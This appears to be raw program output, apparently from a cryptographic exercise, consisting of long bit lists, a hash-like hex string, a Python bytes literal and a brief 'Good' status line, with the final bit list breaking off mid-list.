0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1]
3 10
[7381542645404199796]
0x667081ed49b6eb74
3 Good :)

2256e5a3aba7c6f2b3bda04bd8ad33dd4dcc97f517b571e10551e346b34d8f82
b'\x9a\x10z\xc8\x9c\xa9$1\x88\xa7J\xc5\xcfh\x8aN\xc8\x88{\xaal\xe2\xfeS\r\xc8hCa\xda;\xf3\x83\x08{\xdei`\xa18\xa7\xa3d\x95\x93\xa5\xcd\xb1\x194\x18\xfac\xf1\xe0\\a\x98J\xef\x98Y\x84\xe1\x7f,\xa8\xcd[g\xc1o\x16\xea\xa5\x8b,\x10\xf0\x06\xb3\xe2Ku\xf2\xb8m)\xa79f.\xff\xb2\x85g\x98cszP\xeb\x1c&Q\x8cp\x90j\xd2\xca\x00i\x86\xb5\x1c\x94\xd7\x15:\x0c\xb4\xe5\x81\xa2\xf8\xd1\x8a\xe6\xa8#YO\xf8\xe9\x07\xa2\xb0\xdf\xb1\x90\xe1\x16\xf3xx\xfep\xdeR\xf9\xecaG\xc2T\xae\xd2\x8a\x1a\xc1\xe6\x85\x15h\xe25\xb0J\xe9f\xf7\xb9\xf1\r\xef\xbb\xef\xf3\x01\xf4\xadVL \xf9\xc0\xc5\xc1\x10\xae/L\xaeTR\x01\x0e\x07Fx\x15\xbe$\xc7\xecy\x8d;\x16p\xc5\x07*a\xba\xb5\xf7"R\x13<\xa1V.U\x0f\xce_\xdf/{\xb1qC\xd7W\xbe\n\xb7g?PZT\xe4l \x0c\x8e#\xbc\xcabE\xe0U?\x1e\x02\x03A0h3\xdf\xbeaz\xc0\xce\xd6s\x1a\xdc\x8b\xd1#\xd1\x1a\x0c\xf1\\\xe1\xbb\xe9^=4S\xb0\xc4\\\x87q\xe9\x1e\x06\xba\x84\x8d\x97\xc2.%\xb81\x9cxD\xaba,\xee\x94\xac\x1f$\x02f\xd6\xb4\xf7Rf\xd0}(@:[\xf3\x07,\xbf*\x17\x82QoG\xe4\xa9P-\x8fM\x86\x16-\xbb}\xd5\x0c\xe8\x96\x7fC\xc4\xde\xb4\xa2\x0b$1\xf2QM\xe6\xd2\xa6\x9ctb1\xeb\xb7\xdc%\xc8R\x0fs`\xe9\xfc\x81\xf7\xc98i-\xc7\xb1\x12\xd87\xc9\xbb\xb3\xe30\xe2\x1a\x83\x80h\xb8\x93\xdb\x93\xd6\x89\x85\x99(\x98\x90\xa1Q_\x83\xa9pm\xf4\x04\x0f%\x80Pn\xb7\xeet\x1d\xbe$\xd1s\xda[\x98\xc7\xc2\x19\xf5<\xca\x84\x8e\x9e\x1d\x08Y\xd0\xff\x81\\\x9a\xa7-\xaf\xbf\xa4\x0cO\xcf\xb5QX(~\xaa^\xc4T\xce\xbe\x10 \xab\xb1\x91\xc9l$\xbewvF\x7f\xe9L\x19w\xc8W\xdd\xb7\x0383\x96\xe697\x13\n\x7fT\xa0\x9a8\xf9\x1b\x9b\xc9=#\xd0N\xccRg\x92$S\x1ch\xe2\xce|\x88\xc52\xbe\xa3\xa4\x15\x96\x9d\xe3\xf5@K\x97\xf5\x17\xf5v\x07w~\x81\x98\xd0p6\xfe\x92\xdc\xe3o\x94\\{3\xecjs\xa9\x86\x18I_\xe4\xc8\xe3?48\x93\xddj\xef\x91fN\x9b\xf0\xd3\xf5UK\x1c\x13\xc9vZ\xa8 .\x11\x99C7\x14uM\xec\x14r(\x83\x8a\xf8\xe1\xb4"\x9fd<\x16\x0b\x99\xa2=\x98\r\xab:\x8f\x1cc \xd21\x08\xeez\xd5\xd1X\xff\xe7\x9b\xd7$A\x81#\x8f$\xc4iV8xhV\xaa\x91sr\xce\xa9\x1a\xc0\xf0\xfa\x10\xe8\x8d\xa1&\x05\xbe|S\xc5nv\xebh\x98\xb6\xea{z\xf2\x15*\xf8xPX\xa3tO\x18F\x08\xeeF\xf3\xbc\xa0]\xb8\x84\xfc\\\x9d\xd3(\xef\x03\x8bf\x8e\xf25\x9e\xbeP\x04\x8b\t\xf0\xde\x83\x89"\x7fLHn&q\x1a\xfcMN\xfd\x19a\xad9\xa2\xdc\xa9 \x07\x8b\x1c\xf2\x15\xb7\x905\x00\xef^W\t\x844\xf6\xa8"\xcd\xb1\xfd\xb3\xba\xa0ZK\xb4\x01\x1fi\\\xce\xd3=\xec\xb48\xb8\xdd\xe1H\xcc\xcd\x91AhO\xa3\x9c\xe9\xac$i\xd8\xa7\x1f\xd1.\xf8\xff\x1e\x1c"\xf9\xf0\x85\x1a@\x86\xe2\xfa1\xf9\x8beFi$fq\xc9E4`\xba\x00\xaf&5\xee\xde\xb9F)\x9a\xb5\x1d|\xbc!\xbd\xbc6#EJ"\xd2K7I\xa56\x97\xe5>\xcf\x9cAS\xfc\x83\xde+\xe5\xcc\xc5\xc7\x03\xc8\xadn$\x05di\xa0\x06\xc27Z@L\xfe\xcf\x9a\x11\x11\x87\x909B1\xf1\x8f~\x8c\'r~\xd4\t\xf7Li\x8e\x8b\xd4\xb6OlI\t\xe3\xea0\x18\xd8<\xaf\xeb#y\xb7\x19\x05@^\xae]\xb2\xfelu\xce\x81\xeb\xfb*\xe8?\x975o\xd8\x86d\x9e\x16\x97\xba"\xb6\xee\xd7b\xa9)\xf1\x88\xc2\xfe\x118\xf9\xf0\xd0<\x9f\xea\xfbP\xd7{%\xae\xf7PD\x87e!\xf8\xb9,Y\xd1'
[1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 